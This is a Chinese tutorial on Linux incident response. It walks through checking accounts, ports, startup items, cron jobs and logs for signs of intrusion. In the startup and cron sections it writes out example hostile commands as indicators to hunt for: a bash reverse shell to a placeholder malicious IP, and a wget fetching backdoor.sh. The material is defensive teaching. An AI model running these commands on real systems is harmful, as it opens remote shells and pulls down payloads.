应急响应linux

应急响应:

在网络安全领域,应急响应(Incident Response) 是指当网络安全事件(如黑客攻击、数据泄露、恶意软件感染等)发生时,为了最大限度减少损失、快速恢复系统正常运行、追溯事件根源并预防类似事件再次发生而采取的一系列有组织、有计划的应对措施。

在网络威胁日益复杂的背景下,即使拥有完善的防护体系,也难以完全避免安全事件。应急响应作为 "事后补救" 的关键环节,能够快速控制损失、缩短业务中断时间,同时通过复盘持续提升组织的安全能力,是网络安全防护体系中不可或缺的一部分。

linux入侵排查

查账号:

目的:发现攻击者创建的隐藏账户、特权账户滥用、弱口令账户或异常登录行为,阻断持续控制通道。

  1. 用户与权限
    • 命令:cat /etc/passwd(列所有用户)、cat /etc/sudoers(查 sudo 权限用户)、awk -F: '$3==0 {print $1}' /etc/passwd(查 UID=0 的超级用户,正常应为 root)。
    • 重点:无家目录(如/bin/false)、登录 shell 异常(如/bin/sh而非/bin/bash)的用户,或近期新增的未知用户。
  2. 登录记录
    • 命令:last(成功登录历史)、lastb(失败登录尝试)、cat /var/log/secure(CentOS)或/var/log/auth.log(Ubuntu),分析异常 IP、高频失败登录的账号。

可以查看/etc/passwd用户信息文件是否存在异常账号存在

**格式:**用户名:密码:用户ID:组ID:用户说明:家目录:登陆之后的 shell

在这之下重点查 bin/bash,因为用bin/bash登录,说明被人添加了新用户并且可以登录。攻击者上传的后门脚本(如 reverse_shell.sh),几乎都会用 #!/bin/bash 作为解释器。查 bash 进程、启动记录,可发现脚本的执行痕迹;而用nologin大概率没被入侵,因为不能登录。

查端口:

目的:发现恶意程序监听端口、与外部 C&C 服务器(命令控制端)的连接,或未授权开放的服务端口。

  1. 命令行排查
    • netstat -tulnpss -tulnp:显示 TCP/UDP 端口及关联进程(需 root 权限)。
    • lsof -i :<端口号>:查询特定端口对应的进程。
    • 重点:非标准端口(如 3389 外的远程桌面端口、高位随机端口)、与陌生 IP 的长连接(尤其是境外 IP)。

使用 netstat 网络连接命令,分析可疑的端口,IP和PID netstat -antlp | more

如发现异常,可以查看PID对应的进程文件路径

运行 ls -l /proc/PID/exe** 或 **file /proc/PID/exe($PID 为对应的 pid 号)

使用ps aux | grep pid命令分析进程

查启动项:

目的:发现攻击者配置的恶意程序开机自启动项,阻止其持久化控制。

  1. 系统服务启动项
    • systemctl list-unit-files --type=service --state=enabled:列出开机自启服务,检查服务名称是否陌生(如 "sysupdate""networkd" 等仿冒名)。
  2. 用户级启动项
    • /etc/rc.local(开机脚本)、/etc/profile.d/(用户登录脚本),查看是否有新增的恶意命令(如wget http://恶意IP/backdoor.sh)。
    • 用户目录:~/.bashrc ~/.profile,检查是否被植入自启动命令。

可以使用 more /etc/rc.local

/etc/rc.d/rc[0~6].d

ls -l /etc/rc.d/rc3.d/

去排查启动项文件

查定时任务※:

目的:攻击者常通过定时任务执行反弹 shell、下载恶意程序等操作,需排查隐藏的周期性任务。

  1. 系统级定时任务
    • crontab -l(当前用户任务)、cat /etc/crontab(系统全局任务)。
    • 目录排查:/etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/,检查是否有陌生脚本(如文件名随机、权限异常)。
  2. 异常特征
    • 任务内容含wget curl下载恶意文件、bash -i >& /dev/tcp/恶意IP/端口 0>&1(反弹 shell)等命令。

使用crontab 创建计划任务

crontab -l 列出某个用户cron服务的详细内容

-r 删除每个用户cront任务(谨慎:删除所有的计划任务)

-e 使用编辑器编辑当前的crontab文件

如:*/1 * * * * echo "hello world" >> /tmp/test.txt 每分钟写入文件"hello world"传入tmp下的test.txt

也可以利用anacron命令实现异步定时任务调度

如:每天运行/home/shell.sh脚本

vi /etc/anacrontab

@daily 5 example.daily /bin/bash /home/backup.sh

当机器在 backup.sh 期望被运行时是关机的,anacron会在机器开机5分钟之后运行它,而不用再等待 7天。

重点排查以下目录中是否存在恶意脚本

/var/spool/cron/*

/etc/crontab

/etc/cron.d/*

/etc/cron.daily/*

/etc/cron.hourly/*

/etc/cron.monthly/*

/etc/cron.weekly/

/etc/anacrontab

/var/spool/anacron/*

可以使用 more /etc/cron.daily/* 查看目录下所有文件

进到 /etc/cron.daily/*

这个轮转服务的功能:把每天的日志传到日志服务器。

查日志

目的:通过日志还原攻击时间线、定位入侵点(如漏洞利用、社工攻击),为溯源提供依据。

  1. 系统日志
    • /var/log/messages(系统消息):查内核事件、服务启动失败(可能因恶意程序占用端口)。
  2. 应用日志
    • Nginx/Apache 日志(/var/log/nginx/access.log):分析 Web 请求中的攻击特征(如/etc/passwd路径遍历)。

日志的默认存放位置为:/var/log

查看日志的配置情况:more /etc/rsyslog.conf

如图:

日志文件 说明
/var/log/btmp 记录错误登录日志,这个文件是二进制文件,不能直接vi查看,而要使用lastb命令查看
/var/log/lastlog 记录系统中所有用户最后一次登录时间的日志,这个文件是二进制文件,不能直接vi,而要使用lastlog命令查看
/var/log/wtmp 重点※ 永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。同样这个文件也是一个二进制文件,不能直接vi,而需要使用last命令来查看
/var/log/utmp 记录当前已经登录的用户信息,这个文件会随着用户的登录和注销不断变化,只记录当前登录用户的信息。同样这个文件不能直接vi,而要使用w,who,users等命令来查询
/var/log/secure 记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中
相关推荐
Johny_Zhao11 分钟前
SeaTunnel的搭建部署以及测试
linux·网络·网络安全·信息安全·kubernetes·云计算·containerd·devops·seatunnel·系统运维
nVisual25 分钟前
运维新纪元:告别Excel手工规划,实现“零误差”决策
运维·网络·设计模式·自动化
Codeking__1 小时前
应用层自定义协议与序列化
服务器·网络
维尔切1 小时前
Linux中systemd与systemctl管理指南
linux·服务器·网络
NewCarRen2 小时前
功能安全和网络安全的综合保障流程
网络·安全·web安全·自动驾驶·汽车
我就是全世界2 小时前
AI智能体的安全困境:防护机制与伦理平衡的艺术
人工智能·安全
wanhengidc3 小时前
云手机的应用场景较为广泛,主要包括以下几个方面:
运维·服务器·安全·智能手机
李子圆圆3 小时前
输电线路防外破声光预警装置 | 防山火/防钓鱼/防施工安全警示系统
安全
恒拓高科WorkPlus3 小时前
BeeWorks内网聊天工具,安全即时通讯
安全